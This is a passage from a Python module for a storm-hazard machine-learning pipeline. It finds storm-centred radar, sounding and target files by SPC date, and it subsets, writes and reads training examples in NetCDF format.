numpy.where(radar_file_name_matrix == '')[0]
)
return numpy.delete(
radar_file_name_matrix, time_missing_indices, axis=0)
def find_storm_images_3d(
top_directory_name, radar_source, radar_field_names,
radar_heights_m_agl, first_spc_date_string, last_spc_date_string):
"""Locates files with 3-D storm-centered radar images.
D = number of SPC dates in time period (`first_spc_date_string`...
`last_spc_date_string`)
:param top_directory_name: See doc for `find_storm_images_2d`.
:param radar_source: Same.
:param radar_field_names: List (length F_r) of radar fields. Each item must
be accepted by `radar_utils.check_field_name`.
:param radar_heights_m_agl: numpy array (length H_r) of radar heights
(metres above ground level).
:param first_spc_date_string: First SPC date (format "yyyymmdd"). This
method will locate files from `first_spc_date_string`...
`last_spc_date_string`.
:param last_spc_date_string: Same.
:return: radar_file_name_matrix: numpy array (D x F_r x H_r) of file paths.
"""
radar_utils.check_data_source(radar_source)
first_spc_date_unix_sec = time_conversion.spc_date_string_to_unix_sec(
first_spc_date_string)
last_spc_date_unix_sec = time_conversion.spc_date_string_to_unix_sec(
last_spc_date_string)
if radar_source == radar_utils.GRIDRAD_SOURCE_ID:
file_dict = storm_images.find_many_files_gridrad(
top_directory_name=top_directory_name,
radar_field_names=radar_field_names,
radar_heights_m_agl=radar_heights_m_agl,
start_time_unix_sec=first_spc_date_unix_sec,
end_time_unix_sec=last_spc_date_unix_sec,
one_file_per_time_step=False, raise_error_if_all_missing=True)
else:
file_dict = storm_images.find_many_files_myrorss_or_mrms(
top_directory_name=top_directory_name, radar_source=radar_source,
radar_field_names=[radar_utils.REFL_NAME],
reflectivity_heights_m_agl=radar_heights_m_agl,
start_time_unix_sec=first_spc_date_unix_sec,
end_time_unix_sec=last_spc_date_unix_sec,
one_file_per_time_step=False,
raise_error_if_all_missing=True, raise_error_if_any_missing=False)
radar_file_name_matrix = file_dict[storm_images.IMAGE_FILE_NAMES_KEY]
num_file_times = radar_file_name_matrix.shape[0]
if radar_source != radar_utils.GRIDRAD_SOURCE_ID:
radar_file_name_matrix = numpy.reshape(
radar_file_name_matrix,
(num_file_times, 1, len(radar_heights_m_agl))
)
time_missing_indices = numpy.unique(
numpy.where(radar_file_name_matrix == '')[0]
)
return numpy.delete(
radar_file_name_matrix, time_missing_indices, axis=0)
def find_storm_images_2d3d_myrorss(
top_directory_name, first_spc_date_string, last_spc_date_string,
reflectivity_heights_m_agl):
"""Locates files with 2-D and 3-D storm-centered radar images.
Fields in 2-D images: low-level and mid-level azimuthal shear
Field in 3-D images: reflectivity
D = number of SPC dates in time period (`first_spc_date_string`...
`last_spc_date_string`)
:param top_directory_name: See doc for `find_storm_images_2d`.
:param first_spc_date_string: Same.
:param last_spc_date_string: Same.
:param reflectivity_heights_m_agl: Same.
:return: az_shear_file_name_matrix: D-by-2 numpy array of file paths. Files
in column 0 are low-level az shear; files in column 1 are mid-level az
shear.
:return: reflectivity_file_name_matrix: D-by-H numpy array of file paths,
where H = number of reflectivity heights.
"""
first_spc_date_unix_sec = time_conversion.spc_date_string_to_unix_sec(
first_spc_date_string)
last_spc_date_unix_sec = time_conversion.spc_date_string_to_unix_sec(
last_spc_date_string)
field_names = AZIMUTHAL_SHEAR_FIELD_NAMES + [radar_utils.REFL_NAME]
storm_image_file_dict = storm_images.find_many_files_myrorss_or_mrms(
top_directory_name=top_directory_name,
radar_source=radar_utils.MYRORSS_SOURCE_ID,
radar_field_names=field_names,
reflectivity_heights_m_agl=reflectivity_heights_m_agl,
start_time_unix_sec=first_spc_date_unix_sec,
end_time_unix_sec=last_spc_date_unix_sec,
one_file_per_time_step=False,
raise_error_if_all_missing=True, raise_error_if_any_missing=False)
radar_file_name_matrix = storm_image_file_dict[
storm_images.IMAGE_FILE_NAMES_KEY]
time_missing_indices = numpy.unique(
numpy.where(radar_file_name_matrix == '')[0]
)
radar_file_name_matrix = numpy.delete(
radar_file_name_matrix, time_missing_indices, axis=0)
return radar_file_name_matrix[:, :2], radar_file_name_matrix[:, 2:]
def find_sounding_files(
top_sounding_dir_name, radar_file_name_matrix, target_names,
lag_time_for_convective_contamination_sec):
"""Locates files with storm-centered soundings.
D = number of SPC dates in time period
:param top_sounding_dir_name: Name of top-level directory. Files therein
will be found by `soundings.find_sounding_file`.
:param radar_file_name_matrix: numpy array created by either
`find_storm_images_2d` or `find_storm_images_3d`. Length of the first
axis is D.
:param target_names: See doc for `_check_target_vars`.
:param lag_time_for_convective_contamination_sec: See doc for
`soundings.read_soundings`.
:return: sounding_file_names: length-D list of file paths.
"""
error_checking.assert_is_numpy_array(radar_file_name_matrix)
num_file_dimensions = len(radar_file_name_matrix.shape)
error_checking.assert_is_geq(num_file_dimensions, 2)
error_checking.assert_is_leq(num_file_dimensions, 3)
mean_lead_time_seconds = _check_target_vars(target_names)[0]
num_file_times = radar_file_name_matrix.shape[0]
sounding_file_names = [''] * num_file_times
for i in range(num_file_times):
if num_file_dimensions == 2:
this_file_name = radar_file_name_matrix[i, 0]
else:
this_file_name = radar_file_name_matrix[i, 0, 0]
this_time_unix_sec, this_spc_date_string = (
storm_images.image_file_name_to_time(this_file_name)
)
sounding_file_names[i] = soundings.find_sounding_file(
top_directory_name=top_sounding_dir_name,
spc_date_string=this_spc_date_string,
lead_time_seconds=mean_lead_time_seconds,
lag_time_for_convective_contamination_sec=
lag_time_for_convective_contamination_sec,
init_time_unix_sec=this_time_unix_sec, raise_error_if_missing=True)
return sounding_file_names
def find_target_files(top_target_dir_name, radar_file_name_matrix,
target_names):
"""Locates files with target values (storm-hazard indicators).
D = number of SPC dates in time period
:param top_target_dir_name: Name of top-level directory. Files therein
will be found by `target_val_utils.find_target_file`.
:param radar_file_name_matrix: numpy array created by either
`find_storm_images_2d` or `find_storm_images_3d`. Length of the first
axis is D.
:param target_names: See doc for `_check_target_vars`.
:return: target_file_names: length-D list of file paths.
"""
error_checking.assert_is_numpy_array(radar_file_name_matrix)
num_file_dimensions = len(radar_file_name_matrix.shape)
error_checking.assert_is_geq(num_file_dimensions, 2)
error_checking.assert_is_leq(num_file_dimensions, 3)
event_type_string = _check_target_vars(target_names)[-1]
num_file_times = radar_file_name_matrix.shape[0]
target_file_names = [''] * num_file_times
for i in range(num_file_times):
if num_file_dimensions == 2:
this_file_name = radar_file_name_matrix[i, 0]
else:
this_file_name = radar_file_name_matrix[i, 0, 0]
_, this_spc_date_string = storm_images.image_file_name_to_time(
this_file_name)
target_file_names[i] = target_val_utils.find_target_file(
top_directory_name=top_target_dir_name,
event_type_string=event_type_string,
spc_date_string=this_spc_date_string, raise_error_if_missing=False)
if os.path.isfile(target_file_names[i]):
continue
target_file_names[i] = None
return target_file_names
def subset_examples(example_dict, indices_to_keep, create_new_dict=False):
"""Subsets examples in dictionary.
:param example_dict: See doc for `write_example_file`.
:param indices_to_keep: 1-D numpy array with indices of examples to keep.
:param create_new_dict: Boolean flag. If True, this method will create a
new dictionary, leaving the input dictionary untouched.
:return: example_dict: Same as input, but possibly with fewer examples.
"""
error_checking.assert_is_integer_numpy_array(indices_to_keep)
error_checking.assert_is_numpy_array(indices_to_keep, num_dimensions=1)
error_checking.assert_is_boolean(create_new_dict)
if not create_new_dict:
for this_key in MAIN_KEYS:
optional_key_missing = (
this_key not in REQUIRED_MAIN_KEYS
and this_key not in example_dict
)
if optional_key_missing:
continue
if this_key == TARGET_MATRIX_KEY:
if this_key in example_dict:
example_dict[this_key] = (
example_dict[this_key][indices_to_keep, ...]
)
else:
example_dict[TARGET_VALUES_KEY] = (
example_dict[TARGET_VALUES_KEY][indices_to_keep]
)
continue
if this_key == FULL_IDS_KEY:
example_dict[this_key] = [
example_dict[this_key][k] for k in indices_to_keep
]
else:
example_dict[this_key] = example_dict[this_key][
indices_to_keep, ...]
return example_dict
new_example_dict = {}
for this_key in METADATA_KEYS:
sounding_key_missing = (
this_key in [SOUNDING_FIELDS_KEY, SOUNDING_HEIGHTS_KEY]
and this_key not in example_dict
)
if sounding_key_missing:
continue
if this_key == TARGET_NAMES_KEY:
if this_key in example_dict:
new_example_dict[this_key] = example_dict[this_key]
else:
new_example_dict[TARGET_NAME_KEY] = example_dict[
TARGET_NAME_KEY]
continue
new_example_dict[this_key] = example_dict[this_key]
for this_key in MAIN_KEYS:
optional_key_missing = (
this_key not in REQUIRED_MAIN_KEYS
and this_key not in example_dict
)
if optional_key_missing:
continue
if this_key == TARGET_MATRIX_KEY:
if this_key in example_dict:
new_example_dict[this_key] = (
example_dict[this_key][indices_to_keep, ...]
)
else:
new_example_dict[TARGET_VALUES_KEY] = (
example_dict[TARGET_VALUES_KEY][indices_to_keep]
)
continue
if this_key == FULL_IDS_KEY:
new_example_dict[this_key] = [
example_dict[this_key][k] for k in indices_to_keep
]
else:
new_example_dict[this_key] = example_dict[this_key][
indices_to_keep, ...]
return new_example_dict
def find_example_file(
top_directory_name, shuffled=True, spc_date_string=None,
batch_number=None, raise_error_if_missing=True):
"""Looks for file with input examples.
If `shuffled = True`, this method looks for a file with shuffled examples
(from many different times). If `shuffled = False`, this method looks for a
file with examples from one SPC date.
:param top_directory_name: Name of top-level directory with input examples.
:param shuffled: Boolean flag. The role of this flag is explained in the
general discussion above.
:param spc_date_string: [used only if `shuffled = False`]
SPC date (format "yyyymmdd").
:param batch_number: [used only if `shuffled = True`]
Batch number (integer).
:param raise_error_if_missing: Boolean flag. If file is missing and
`raise_error_if_missing = True`, this method will error out.
:return: example_file_name: Path to file with input examples. If file is
missing and `raise_error_if_missing = False`, this is the *expected*
path.
:raises: ValueError: if file is missing and `raise_error_if_missing = True`.
"""
error_checking.assert_is_string(top_directory_name)
error_checking.assert_is_boolean(shuffled)
error_checking.assert_is_boolean(raise_error_if_missing)
if shuffled:
error_checking.assert_is_integer(batch_number)
error_checking.assert_is_geq(batch_number, 0)
first_batch_number = int(number_rounding.floor_to_nearest(
batch_number, NUM_BATCHES_PER_DIRECTORY))
last_batch_number = first_batch_number + NUM_BATCHES_PER_DIRECTORY - 1
example_file_name = (
'{0:s}/batches{1:07d}-{2:07d}/input_examples_batch{3:07d}.nc'
).format(top_directory_name, first_batch_number, last_batch_number,
batch_number)
else:
time_conversion.spc_date_string_to_unix_sec(spc_date_string)
example_file_name = (
'{0:s}/{1:s}/input_examples_{2:s}.nc'
).format(top_directory_name, spc_date_string[:4], spc_date_string)
if raise_error_if_missing and not os.path.isfile(example_file_name):
error_string = 'Cannot find file. Expected at: "{0:s}"'.format(
example_file_name)
raise ValueError(error_string)
return example_file_name
def find_many_example_files(
top_directory_name, shuffled=True, first_spc_date_string=None,
last_spc_date_string=None, first_batch_number=None,
last_batch_number=None, raise_error_if_any_missing=True):
"""Looks for many files with input examples.
:param top_directory_name: See doc for `find_example_file`.
:param shuffled: Same.
:param first_spc_date_string: [used only if `shuffled = False`]
First SPC date (format "yyyymmdd"). This method will look for all SPC
dates from `first_spc_date_string`...`last_spc_date_string`.
:param last_spc_date_string: See above.
:param first_batch_number: [used only if `shuffled = True`]
First batch number (integer). This method will look for all batches
from `first_batch_number`...`last_batch_number`.
:param last_batch_number: See above.
:param raise_error_if_any_missing: Boolean flag. If *any* desired file is
not found and `raise_error_if_any_missing = True`, this method will
error out.
:return: example_file_names: 1-D list of paths to example files.
:raises: ValueError: if no files are found.
"""
error_checking.assert_is_boolean(shuffled)
if shuffled:
error_checking.assert_is_integer(first_batch_number)
error_checking.assert_is_integer(last_batch_number)
error_checking.assert_is_geq(first_batch_number, 0)
error_checking.assert_is_geq(last_batch_number, first_batch_number)
example_file_pattern = (
'{0:s}/batches{1:s}-{1:s}/input_examples_batch{1:s}.nc'
).format(top_directory_name, BATCH_NUMBER_REGEX)
example_file_names = glob.glob(example_file_pattern)
if len(example_file_names) > 0:
batch_numbers = numpy.array(
[_file_name_to_batch_number(f) for f in example_file_names],
dtype=int)
good_indices = numpy.where(numpy.logical_and(
batch_numbers >= first_batch_number,
batch_numbers <= last_batch_number
))[0]
example_file_names = [example_file_names[k] for k in good_indices]
if len(example_file_names) == 0:
error_string = (
'Cannot find any files with batch number from {0:d}...{1:d}.'
).format(first_batch_number, last_batch_number)
raise ValueError(error_string)
return example_file_names
spc_date_strings = time_conversion.get_spc_dates_in_range(
first_spc_date_string=first_spc_date_string,
last_spc_date_string=last_spc_date_string)
example_file_names = []
for this_spc_date_string in spc_date_strings:
this_file_name = find_example_file(
top_directory_name=top_directory_name, shuffled=False,
spc_date_string=this_spc_date_string,
raise_error_if_missing=raise_error_if_any_missing)
if not os.path.isfile(this_file_name):
continue
example_file_names.append(this_file_name)
if len(example_file_names) == 0:
error_string = (
'Cannot find any file with SPC date from {0:s} to {1:s}.'
).format(first_spc_date_string, last_spc_date_string)
raise ValueError(error_string)
return example_file_names
def write_example_file(netcdf_file_name, example_dict, append_to_file=False):
"""Writes input examples to NetCDF file.
The following keys are required in `example_dict` only if the examples
include soundings:
- "sounding_field_names"
- "sounding_heights_m_agl"
- "sounding_matrix"
If the examples contain both 2-D azimuthal-shear images and 3-D
reflectivity images:
- Keys "reflectivity_image_matrix_dbz" and "az_shear_image_matrix_s01" are
required.
- "radar_heights_m_agl" should contain only reflectivity heights.
- "radar_field_names" should contain only the names of azimuthal-shear
fields.
If the examples contain 2-D radar images and no 3-D images:
- Key "radar_image_matrix" is required.
- The [j]th element of "radar_field_names" should be the name of the [j]th
radar field.
- The [j]th element of "radar_heights_m_agl" should be the corresponding
height.
- Thus, there are C elements in "radar_field_names", C elements in
"radar_heights_m_agl", and C field-height pairs.
If the examples contain 3-D radar images and no 2-D images:
- Key "radar_image_matrix" is required.
- Each field in "radar_field_names" appears at each height in
"radar_heights_m_agl".
- Thus, there are F_r elements in "radar_field_names", H_r elements in
"radar_heights_m_agl", and F_r * H_r field-height pairs.
:param netcdf_file_name: Path to output file.
:param example_dict: Dictionary with the following keys.
example_dict['full_id_strings']: length-E list of full storm IDs.
example_dict['storm_times_unix_sec']: length-E list of valid times.
example_dict['radar_field_names']: List of radar fields (see general
discussion above).
example_dict['radar_heights_m_agl']: numpy array of radar heights (see
general discussion above).
example_dict['rotated_grids']: Boolean flag. If True, storm-centered radar
grids are rotated so that storm motion is in the +x-direction.
example_dict['rotated_grid_spacing_metres']: Spacing of rotated grids. If
grids are not rotated, this should be None.
example_dict['radar_image_matrix']: See general discussion above. For 2-D
images, this should be a numpy array with dimensions E x M x N x C.
For 3-D images, this should be a numpy array with dimensions
E x M x N x H_r x F_r.
example_dict['reflectivity_image_matrix_dbz']: See general discussion above.
Dimensions should be E x M x N x H_refl x 1, where H_refl = number of
reflectivity heights.
example_dict['az_shear_image_matrix_s01']: See general discussion above.
Dimensions should be E x M x N x F_as, where F_as = number of
azimuthal-shear fields.
example_dict['target_names']: 1-D list with names of target variables. Each
must be accepted by `target_val_utils.target_name_to_params`.
example_dict['target_matrix']: E-by-T numpy array of target values (integer
class labels), where T = number of target variables.
example_dict['sounding_field_names']: list (length F_s) of sounding fields.
Each item must be accepted by `soundings.check_field_name`.
example_dict['sounding_heights_m_agl']: numpy array (length H_s) of sounding
heights (metres above ground level).
example_dict['sounding_matrix']: numpy array (E x H_s x F_s) of storm-
centered soundings.
:param append_to_file: Boolean flag. If True, this method will append to an
existing file. If False, will create a new file, overwriting the
existing file if necessary.
"""
error_checking.assert_is_boolean(append_to_file)
include_soundings = SOUNDING_MATRIX_KEY in example_dict
if append_to_file:
netcdf_dataset = netCDF4.Dataset(
netcdf_file_name, 'a', format='NETCDF3_64BIT_OFFSET'
)
_compare_metadata(
netcdf_dataset=netcdf_dataset, example_dict=example_dict
)
num_examples_orig = len(numpy.array(
netcdf_dataset.variables[STORM_TIMES_KEY][:]
))
num_examples_to_add = len(example_dict[STORM_TIMES_KEY])
this_string_type = 'S{0:d}'.format(
netcdf_dataset.dimensions[STORM_ID_CHAR_DIM_KEY].size
)
example_dict[FULL_IDS_KEY] = netCDF4.stringtochar(numpy.array(
example_dict[FULL_IDS_KEY], dtype=this_string_type
))
for this_key in MAIN_KEYS:
if (this_key not in REQUIRED_MAIN_KEYS and
this_key not in netcdf_dataset.variables):
continue
netcdf_dataset.variables[this_key][
num_examples_orig:(num_examples_orig + num_examples_to_add),
...
] = example_dict[this_key]
netcdf_dataset.close()
return
# Open file.
file_system_utils.mkdir_recursive_if_necessary(file_name=netcdf_file_name)
netcdf_dataset = netCDF4.Dataset(
netcdf_file_name, 'w', format='NETCDF3_64BIT_OFFSET')
# Set global attributes.
netcdf_dataset.setncattr(
ROTATED_GRIDS_KEY, int(example_dict[ROTATED_GRIDS_KEY])
)
if example_dict[ROTATED_GRIDS_KEY]:
netcdf_dataset.setncattr(
ROTATED_GRID_SPACING_KEY,
numpy.round(int(example_dict[ROTATED_GRID_SPACING_KEY]))
)
# Set dimensions.
num_storm_id_chars = 10 + numpy.max(
numpy.array([len(s) for s in example_dict[FULL_IDS_KEY]])
)
num_radar_field_chars = numpy.max(
numpy.array([len(f) for f in example_dict[RADAR_FIELDS_KEY]])
)
num_target_name_chars = numpy.max(
numpy.array([len(t) for t in example_dict[TARGET_NAMES_KEY]])
)
num_target_vars = len(example_dict[TARGET_NAMES_KEY])
netcdf_dataset.createDimension(EXAMPLE_DIMENSION_KEY, None)
netcdf_dataset.createDimension(TARGET_VARIABLE_DIM_KEY, num_target_vars)
netcdf_dataset.createDimension(STORM_ID_CHAR_DIM_KEY, num_storm_id_chars)
netcdf_dataset.createDimension(
RADAR_FIELD_CHAR_DIM_KEY, num_radar_field_chars
)
netcdf_dataset.createDimension(
TARGET_NAME_CHAR_DIM_KEY, num_target_name_chars
)
if RADAR_IMAGE_MATRIX_KEY in example_dict:
num_grid_rows = example_dict[RADAR_IMAGE_MATRIX_KEY].shape[1]
num_grid_columns = example_dict[RADAR_IMAGE_MATRIX_KEY].shape[2]
num_radar_dimensions = len(
example_dict[RADAR_IMAGE_MATRIX_KEY].shape) - 2
if num_radar_dimensions == 3:
num_radar_heights = example_dict[RADAR_IMAGE_MATRIX_KEY].shape[3]
num_radar_fields = example_dict[RADAR_IMAGE_MATRIX_KEY].shape[4]
netcdf_dataset.createDimension(
RADAR_FIELD_DIM_KEY, num_radar_fields)
netcdf_dataset.createDimension(
RADAR_HEIGHT_DIM_KEY, num_radar_heights)
else:
num_radar_channels = example_dict[RADAR_IMAGE_MATRIX_KEY].shape[3]
netcdf_dataset.createDimension(
RADAR_CHANNEL_DIM_KEY, num_radar_channels)
netcdf_dataset.createDimension(ROW_DIMENSION_KEY, num_grid_rows)
netcdf_dataset.createDimension(COLUMN_DIMENSION_KEY, num_grid_columns)
else:
num_reflectivity_rows = example_dict[REFL_IMAGE_MATRIX_KEY].shape[1]
num_reflectivity_columns = example_dict[REFL_IMAGE_MATRIX_KEY].shape[2]
num_reflectivity_heights = example_dict[REFL_IMAGE_MATRIX_KEY].shape[3]
num_az_shear_rows = example_dict[AZ_SHEAR_IMAGE_MATRIX_KEY].shape[1]
num_az_shear_columns = example_dict[AZ_SHEAR_IMAGE_MATRIX_KEY].shape[2]
num_az_shear_fields = example_dict[AZ_SHEAR_IMAGE_MATRIX_KEY].shape[3]
netcdf_dataset.createDimension(
REFL_ROW_DIMENSION_KEY, num_reflectivity_rows)
netcdf_dataset.createDimension(
REFL_COLUMN_DIMENSION_KEY, num_reflectivity_columns)
netcdf_dataset.createDimension(
RADAR_HEIGHT_DIM_KEY, num_reflectivity_heights)
netcdf_dataset.createDimension(
AZ_SHEAR_ROW_DIMENSION_KEY, num_az_shear_rows)
netcdf_dataset.createDimension(
AZ_SHEAR_COLUMN_DIMENSION_KEY, num_az_shear_columns)
netcdf_dataset.createDimension(RADAR_FIELD_DIM_KEY, num_az_shear_fields)
num_radar_dimensions = -1
# Add storm IDs.
this_string_type = 'S{0:d}'.format(num_storm_id_chars)
full_ids_char_array = netCDF4.stringtochar(numpy.array(
example_dict[FULL_IDS_KEY], dtype=this_string_type
))
netcdf_dataset.createVariable(
FULL_IDS_KEY, datatype='S1',
dimensions=(EXAMPLE_DIMENSION_KEY, STORM_ID_CHAR_DIM_KEY)
)
netcdf_dataset.variables[FULL_IDS_KEY][:] = numpy.array(full_ids_char_array)
# Add names of radar fields.
this_string_type = 'S{0:d}'.format(num_radar_field_chars)
radar_field_names_char_array = netCDF4.stringtochar(numpy.array(
example_dict[RADAR_FIELDS_KEY], dtype=this_string_type
))
if num_radar_dimensions == 2:
this_first_dim_key = RADAR_CHANNEL_DIM_KEY + ''
else:
this_first_dim_key = RADAR_FIELD_DIM_KEY + ''
netcdf_dataset.createVariable(
RADAR_FIELDS_KEY, datatype='S1',
dimensions=(this_first_dim_key, RADAR_FIELD_CHAR_DIM_KEY)
)
netcdf_dataset.variables[RADAR_FIELDS_KEY][:] = numpy.array(
radar_field_names_char_array)
# Add names of target variables.
this_string_type = 'S{0:d}'.format(num_target_name_chars)
target_names_char_array = netCDF4.stringtochar(numpy.array(
example_dict[TARGET_NAMES_KEY], dtype=this_string_type
))
netcdf_dataset.createVariable(
TARGET_NAMES_KEY, datatype='S1',
dimensions=(TARGET_VARIABLE_DIM_KEY, TARGET_NAME_CHAR_DIM_KEY)
)
netcdf_dataset.variables[TARGET_NAMES_KEY][:] = numpy.array(
target_names_char_array)
# Add storm times.
netcdf_dataset.createVariable(
STORM_TIMES_KEY, datatype=numpy.int32, dimensions=EXAMPLE_DIMENSION_KEY
)
netcdf_dataset.variables[STORM_TIMES_KEY][:] = example_dict[
STORM_TIMES_KEY]
# Add target values.
netcdf_dataset.createVariable(
TARGET_MATRIX_KEY, datatype=numpy.int32,
dimensions=(EXAMPLE_DIMENSION_KEY, TARGET_VARIABLE_DIM_KEY)
)
netcdf_dataset.variables[TARGET_MATRIX_KEY][:] = example_dict[
TARGET_MATRIX_KEY]
# Add radar heights.
if num_radar_dimensions == 2:
this_dimension_key = RADAR_CHANNEL_DIM_KEY + ''
else:
this_dimension_key = RADAR_HEIGHT_DIM_KEY + ''
netcdf_dataset.createVariable(
RADAR_HEIGHTS_KEY, datatype=numpy.int32, dimensions=this_dimension_key
)
netcdf_dataset.variables[RADAR_HEIGHTS_KEY][:] = example_dict[
RADAR_HEIGHTS_KEY]
# Add storm-centered radar images.
if RADAR_IMAGE_MATRIX_KEY in example_dict:
if num_radar_dimensions == 3:
these_dimensions = (
EXAMPLE_DIMENSION_KEY, ROW_DIMENSION_KEY, COLUMN_DIMENSION_KEY,
RADAR_HEIGHT_DIM_KEY, RADAR_FIELD_DIM_KEY
)
else:
these_dimensions = (
EXAMPLE_DIMENSION_KEY, ROW_DIMENSION_KEY, COLUMN_DIMENSION_KEY,
RADAR_CHANNEL_DIM_KEY
)
netcdf_dataset.createVariable(
RADAR_IMAGE_MATRIX_KEY, datatype=numpy.float32,
dimensions=these_dimensions
)
netcdf_dataset.variables[RADAR_IMAGE_MATRIX_KEY][:] = example_dict[
RADAR_IMAGE_MATRIX_KEY]
else:
netcdf_dataset.createVariable(
REFL_IMAGE_MATRIX_KEY, datatype=numpy.float32,
dimensions=(EXAMPLE_DIMENSION_KEY, REFL_ROW_DIMENSION_KEY,
REFL_COLUMN_DIMENSION_KEY, RADAR_HEIGHT_DIM_KEY)
)
netcdf_dataset.variables[REFL_IMAGE_MATRIX_KEY][:] = example_dict[
REFL_IMAGE_MATRIX_KEY][..., 0]
netcdf_dataset.createVariable(
AZ_SHEAR_IMAGE_MATRIX_KEY, datatype=numpy.float32,
dimensions=(EXAMPLE_DIMENSION_KEY, AZ_SHEAR_ROW_DIMENSION_KEY,
AZ_SHEAR_COLUMN_DIMENSION_KEY, RADAR_FIELD_DIM_KEY)
)
netcdf_dataset.variables[AZ_SHEAR_IMAGE_MATRIX_KEY][:] = example_dict[
AZ_SHEAR_IMAGE_MATRIX_KEY]
if not include_soundings:
netcdf_dataset.close()
return
num_sounding_heights = example_dict[SOUNDING_MATRIX_KEY].shape[1]
num_sounding_fields = example_dict[SOUNDING_MATRIX_KEY].shape[2]
num_sounding_field_chars = 1
for j in range(num_sounding_fields):
num_sounding_field_chars = max([
num_sounding_field_chars,
len(example_dict[SOUNDING_FIELDS_KEY][j])
])
netcdf_dataset.createDimension(
SOUNDING_FIELD_DIM_KEY, num_sounding_fields)
netcdf_dataset.createDimension(
SOUNDING_HEIGHT_DIM_KEY, num_sounding_heights)
netcdf_dataset.createDimension(
SOUNDING_FIELD_CHAR_DIM_KEY, num_sounding_field_chars)
this_string_type = 'S{0:d}'.format(num_sounding_field_chars)
sounding_field_names_char_array = netCDF4.stringtochar(numpy.array(
example_dict[SOUNDING_FIELDS_KEY], dtype=this_string_type
))
netcdf_dataset.createVariable(
SOUNDING_FIELDS_KEY, datatype='S1',
dimensions=(SOUNDING_FIELD_DIM_KEY, SOUNDING_FIELD_CHAR_DIM_KEY)
)
netcdf_dataset.variables[SOUNDING_FIELDS_KEY][:] = numpy.array(
sounding_field_names_char_array)
netcdf_dataset.createVariable(
SOUNDING_HEIGHTS_KEY, datatype=numpy.int32,
dimensions=SOUNDING_HEIGHT_DIM_KEY
)
netcdf_dataset.variables[SOUNDING_HEIGHTS_KEY][:] = example_dict[
SOUNDING_HEIGHTS_KEY]
netcdf_dataset.createVariable(
SOUNDING_MATRIX_KEY, datatype=numpy.float32,
dimensions=(EXAMPLE_DIMENSION_KEY, SOUNDING_HEIGHT_DIM_KEY,
SOUNDING_FIELD_DIM_KEY)
)
netcdf_dataset.variables[SOUNDING_MATRIX_KEY][:] = example_dict[
SOUNDING_MATRIX_KEY]
netcdf_dataset.close()
return
def read_example_file(
netcdf_file_name, read_all_target_vars, target_name=None,
metadata_only=False, targets_only=False, include_soundings=True,
radar_field_names_to_keep=None, radar_heights_to_keep_m_agl=None,
sounding_field_names_to_keep=None, sounding_heights_to_keep_m_agl=None,
first_time_to_keep_unix_sec=None, last_time_to_keep_unix_sec=None,
num_rows_to_keep=None, num_columns_to_keep=None,
downsampling_dict=None):
"""Reads examples from NetCDF file.
If `metadata_only == True`, later input args are ignored.
If `targets_only == True`, later input args are ignored.
:param netcdf_file_name: Path to input file.
:param read_all_target_vars: Boolean flag. If True, will read all target
variables. If False, will read only `target_name`. Either way, if
downsampling is done, it will be based only on `target_name`.
:param target_name: Will read this target variable. If
`read_all_target_vars == True` and `downsampling_dict is None`, you can
leave this alone.
:param metadata_only: Boolean flag. If False, this method will read
everything. If True, will read everything except predictor and target
variables.
:param targets_only: Boolean flag. If False, this method will read
everything. If True, will read everything except predictors.
:param include_soundings: Boolean flag. If True and the file contains
soundings, this method will return soundings. Otherwise, no soundings.
:param radar_field_names_to_keep: See doc for `_subset_radar_data`.
:param radar_heights_to_keep_m_agl: Same.
:param sounding_field_names_to_keep: See doc for `_subset_sounding_data`.
:param sounding_heights_to_keep_m_agl: Same.
:param first_time_to_keep_unix_sec: First time to keep. If
`first_time_to_keep_unix_sec is None`, all storm objects will be kept.
:param last_time_to_keep_unix_sec: Last time to keep. If
`last_time_to_keep_unix_sec is None`, all storm objects will be kept.
:param num_rows_to_keep: See doc for `_subset_radar_data`.
:param num_columns_to_keep: Same.
:param downsampling_dict: See doc for `_filter_examples_by_class`.
:return: example_dict: If `read_all_target_vars == True`, dictionary will
have all keys listed in doc for `write_example_file`. If
`read_all_target_vars == False`, key "target_names" will be replaced by
"target_name" and "target_matrix" will be replaced by "target_values".
example_dict['target_name']: Name of target variable.
example_dict['target_values']: length-E list of target values (integer
class labels), where E = number of examples.
"""
# TODO(thunderhoser): Allow this method to read only soundings without radar
# data.
if (
target_name ==
'tornado_lead-time=0000-3600sec_distance=00000-10000m'
):
target_name = (
'tornado_lead-time=0000-3600sec_distance=00000-30000m_min-fujita=0'
)
error_checking.assert_is_boolean(read_all_target_vars)
error_checking.assert_is_boolean(include_soundings)
error_checking.assert_is_boolean(metadata_only)
error_checking.assert_is_boolean(targets_only)
example_dict, netcdf_dataset = _read_metadata_from_example_file(
netcdf_file_name=netcdf_file_name, include_soundings=include_soundings)
need_main_target_values = (
not read_all_target_vars
or downsampling_dict is not None
)
if need_main_target_values:
target_index = example_dict[TARGET_NAMES_KEY].index(target_name)
else:
target_index = -1
if not read_all_target_vars:
example_dict[TARGET_NAME_KEY] = target_name
example_dict.pop(TARGET_NAMES_KEY)
if metadata_only:
netcdf_dataset.close()
return example_dict
if need_main_target_values:
main_target_values = numpy.array(
netcdf_dataset.variables[TARGET_MATRIX_KEY][:, target_index],
dtype=int
)
else:
main_target_values = None
if read_all_target_vars:
example_dict[TARGET_MATRIX_KEY] = numpy.array(
netcdf_dataset.variables[TARGET_MATRIX_KEY][:], dtype=int
)
else:
example_dict[TARGET_VALUES_KEY] = main_target_values
# Subset by time.
if first_time_to_keep_unix_sec is None:
first_time_to_keep_unix_sec = 0
if last_time_to_keep_unix_sec is None:
last_time_to_keep_unix_sec = int(1e12)
error_checking.assert_is_integer(first_time_to_keep_unix_sec)
error_checking.assert_is_integer(last_time_to_keep_unix_sec)
error_checking.assert_is_geq(
last_time_to_keep_unix_sec, first_time_to_keep_unix_sec)
example_indices_to_keep = numpy.where(numpy.logical_and(
example_dict[STORM_TIMES_KEY] >= first_time_to_keep_unix_sec,
example_dict[STORM_TIMES_KEY] <= last_time_to_keep_unix_sec
))[0]
if downsampling_dict is not None:
subindices_to_keep = _filter_examples_by_class(
target_values=main_target_values[example_indices_to_keep],
downsampling_dict=downsampling_dict
)
elif not read_all_target_vars:
subindices_to_keep = numpy.where(
main_target_values[example_indices_to_keep] !=
target_val_utils.INVALID_STORM_INTEGER
)[0]
else:
subindices_to_keep = numpy.linspace(
0, len(example_indices_to_keep) - 1,
num=len(example_indices_to_keep), dtype=int
)
example_indices_to_keep = example_indices_to_keep[subindices_to_keep]
if len(example_indices_to_keep) == 0:
return None
example_dict[FULL_IDS_KEY] = [
example_dict[FULL_IDS_KEY][k] for k in example_indices_to_keep
]
